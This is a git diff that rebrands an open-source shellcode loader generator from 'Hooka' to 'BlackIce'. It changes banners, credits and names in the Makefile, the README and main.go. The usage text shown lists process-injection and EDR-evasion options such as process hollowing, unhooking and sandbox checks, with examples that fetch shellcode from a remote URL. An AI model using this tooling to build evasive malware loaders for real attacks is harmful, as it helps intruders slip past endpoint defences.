diff --git a/Makefile b/Makefile index 38ad2fd..8129aad 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -EXECUTABLE=hooka +EXECUTABLE=blackice WINDOWS=$(EXECUTABLE)_windows_amd64.exe LINUX=$(EXECUTABLE)_linux_amd64 DARWIN=$(EXECUTABLE)_darwin_amd64 diff --git a/README.md b/README.md index 67be46b..67a575e 100644 --- a/README.md +++ b/README.md @@ -1,23 +1,28 @@

-

Hooka

-

Shellcode loader generator with multiples features

-
Coded with 💙 by D3Ext
+
+▄▄▄▄    ██▓    ▄▄▄       ▄████▄   ██ ▄█▀ ██▓ ▄████▄  ▓█████ 
+▓█████▄ ▓██▒   ▒████▄    ▒██▀ ▀█   ██▄█▒ ▓██▒▒██▀ ▀█  ▓█   ▀ 
+▒██▒ ▄██▒██░   ▒██  ▀█▄  ▒▓█    ▄ ▓███▄░ ▒██▒▒▓█    ▄ ▒███   
+▒██░█▀  ▒██░   ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█  ▄ 
+░▓█  ▀█▓░██████▒▓█   ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒
+░▒▓███▀▒░ ▒░▓  ░▒▒   ▓▒█░░ ░▒ ▒  ░▒ ▒▒ ▓▒░▓  ░ ░▒ ▒  ░░░ ▒░ ░
+▒░▒   ░ ░ ░ ▒  ░ ▒   ▒▒ ░  ░  ▒   ░ ░▒ ▒░ ▒ ░  ░  ▒    ░ ░  ░
+ ░    ░   ░ ░    ░   ▒   ░        ░ ░░ ░  ▒ ░░           ░   
+ ░          ░  ░     ░  ░░ ░      ░  ░    ░  ░ ░         ░  ░
+      ░                  ░                   ░               
+

+

BlackIce

+

Shellcode loader generator with multiple features

+
Coded by MrDedSec (Shout out D3Ext!)
+

- - - - - - - -

@@ -30,8 +35,7 @@ # Introduction -Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars. - +BlackIce is able to generate shellcode loaders with multiple capabilities. It is also based on Hooka (see [here](https://github.com/D3Ext/Hooka)). This tool is intended for my own learning, please no not use the tool for malicious activity. # Features This tool is able to generate loaders with this features: @@ -79,8 +83,8 @@ This tool is able to generate loaders with this features: Just clone the repository like this: ```sh -git clone https://github.com/D3Ext/Hooka -cd Hooka +git clone https://github.com/Mrdedsecurity/BlackIce.git +cd BlackIce-Loader make ``` @@ -90,7 +94,7 @@ After that you will find the binary under the `build/` folder > Help panel ``` -Usage of Hooka: +Usage of BlackIce: REQUIRED: -i, --input string payload to inject in raw format, as PE, as DLL or from a URL -o, --output string name of output file (i.e. loader.exe) @@ -137,28 +141,28 @@ Usage of Hooka: -h, --help print help panel Examples: - hooka -i shellcode.bin -o loader.exe - hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg - hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose + blackice -i shellcode.bin -o loader.exe + blackice -i http://192.168.1.126/shellcode.bin -o loader.exe + blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg + blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose ``` > Generate a simple EXE loader ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe ``` > Generate a DLL loader ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll +$ blackice_linux_amd64 -i shellcode.bin -o loader.dll -f dll ``` > Use custom config (various examples) ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls -$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose -$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls +$ blackice_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose +$ blackice_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings ``` # Demo @@ -167,12 +171,6 @@ $ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computer -# TODO - -- ~~Check username and hostname before running~~ -- Add direct and indirect syscall -- Add Chacha20 cypher to encrypt shellcode - # Library The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka) @@ -213,7 +211,5 @@ Use this project under your own responsability! The author is not responsible of This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license -Copyright © 2025, *D3Ext* - diff --git a/cmd/main.go b/cmd/main.go index d7a33d1..2f615ce 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -32,18 +32,31 @@ type LoaderTemplate struct { } // function to print the banner -func banner(){ - fmt.Println(" _ _ _ _") - fmt.Println(" | | | | ___ ___ | | __ __ _ | |") - fmt.Println(" | |_| | / _ \\ / _ \\ | |/ / / _` | | |") - fmt.Println(" | _ | | (_) | | (_) | | < | (_| | |_|") - fmt.Println(" |_| |_| \\___/ \\___/ |_|\\_\\ \\__,_| (_)") +func banner() { + fmt.Println("\033[36m") // Cyan color for ice effect + fmt.Println("╔═══════════════════════════════════════════════════════════════════╗") + fmt.Println("║ ║") + fmt.Println("║ ▄▄▄▄ ██▓ ▄▄▄ ▄████▄ ██ ▄█▀ ██▓ ▄████▄ ▓█████ ║") + fmt.Println("║ ▓█████▄ ▓██▒ ▒████▄ ▒██▀ ▀█ ██▄█▒ ▓██▒▒██▀ ▀█ ▓█ ▀ ║") + fmt.Println("║ ▒██▒ ▄██▒██░ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒██▒▒▓█ ▄ ▒███ ║") + fmt.Println("║ ▒██░█▀ ▒██░ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█ ▄ ║") + fmt.Println("║ ░▓█ ▀█▓░██████▒▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒ ║") + fmt.Println("║ ░▒▓███▀▒░ ▒░▓ ░▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░▓ ░ ░▒ ▒ ░░░ ▒░ ░ ║") + fmt.Println("║ ▒░▒ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ▒ ░ ░ ▒ ░ ░ ░ ║") + fmt.Println("║ ░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ▒ ░░ ░ ║") + fmt.Println("║ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ║") + fmt.Println("║ ░ ░ ░ ║") + fmt.Println("║ ║") + fmt.Println("║ ░▒▓█ B L A C K I C E █▓▒░ ║") + fmt.Println("║ By MrDedSec ║") + fmt.Println("╚═══════════════════════════════════════════════════════════════════╝") + fmt.Println("\033[0m") // Reset color } // function to print the help panel func help_panel(){ fmt.Println(` -Usage of Hooka: +Usage of BlackIce: REQUIRED: -i, --input string payload to inject in raw format, as PE, as DLL or from a URL -o, --output string name of output file (i.e. loader.exe) @@ -90,10 +103,10 @@ Usage of Hooka: -h, --help print help panel Examples: - hooka -i shellcode.bin -o loader.exe - hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg - hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose + blackice -i shellcode.bin -o loader.exe + blackice -i http://192.168.1.126/shellcode.bin -o loader.exe + blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg + blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose `) } @@ -102,7 +115,7 @@ Examples: // as the names may be a little bit confussing var techniques []string = []string{"ntcreatethreadex", "ntcreatethread", "suspendedprocess", "etwpcreateetwthread", "processhollowing", "no-rwx", "nrwx", "norwx", "ntqueueapcthreadex"} -var buffer bytes.Buffer +var buffer bytes.Buffer func main() { // define variables that will hold CLI arguments values @@ -3234,7 +3247,7 @@ func CompileLoader(format string, output_file string, compress bool, arch string if os.IsNotExist(err) { // if it doesn't exist, then create it - mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr") + mod_cmd := exec.Command("go", "mod", "init", "blackice_ldr") err = mod_cmd.Run() if err != nil { return err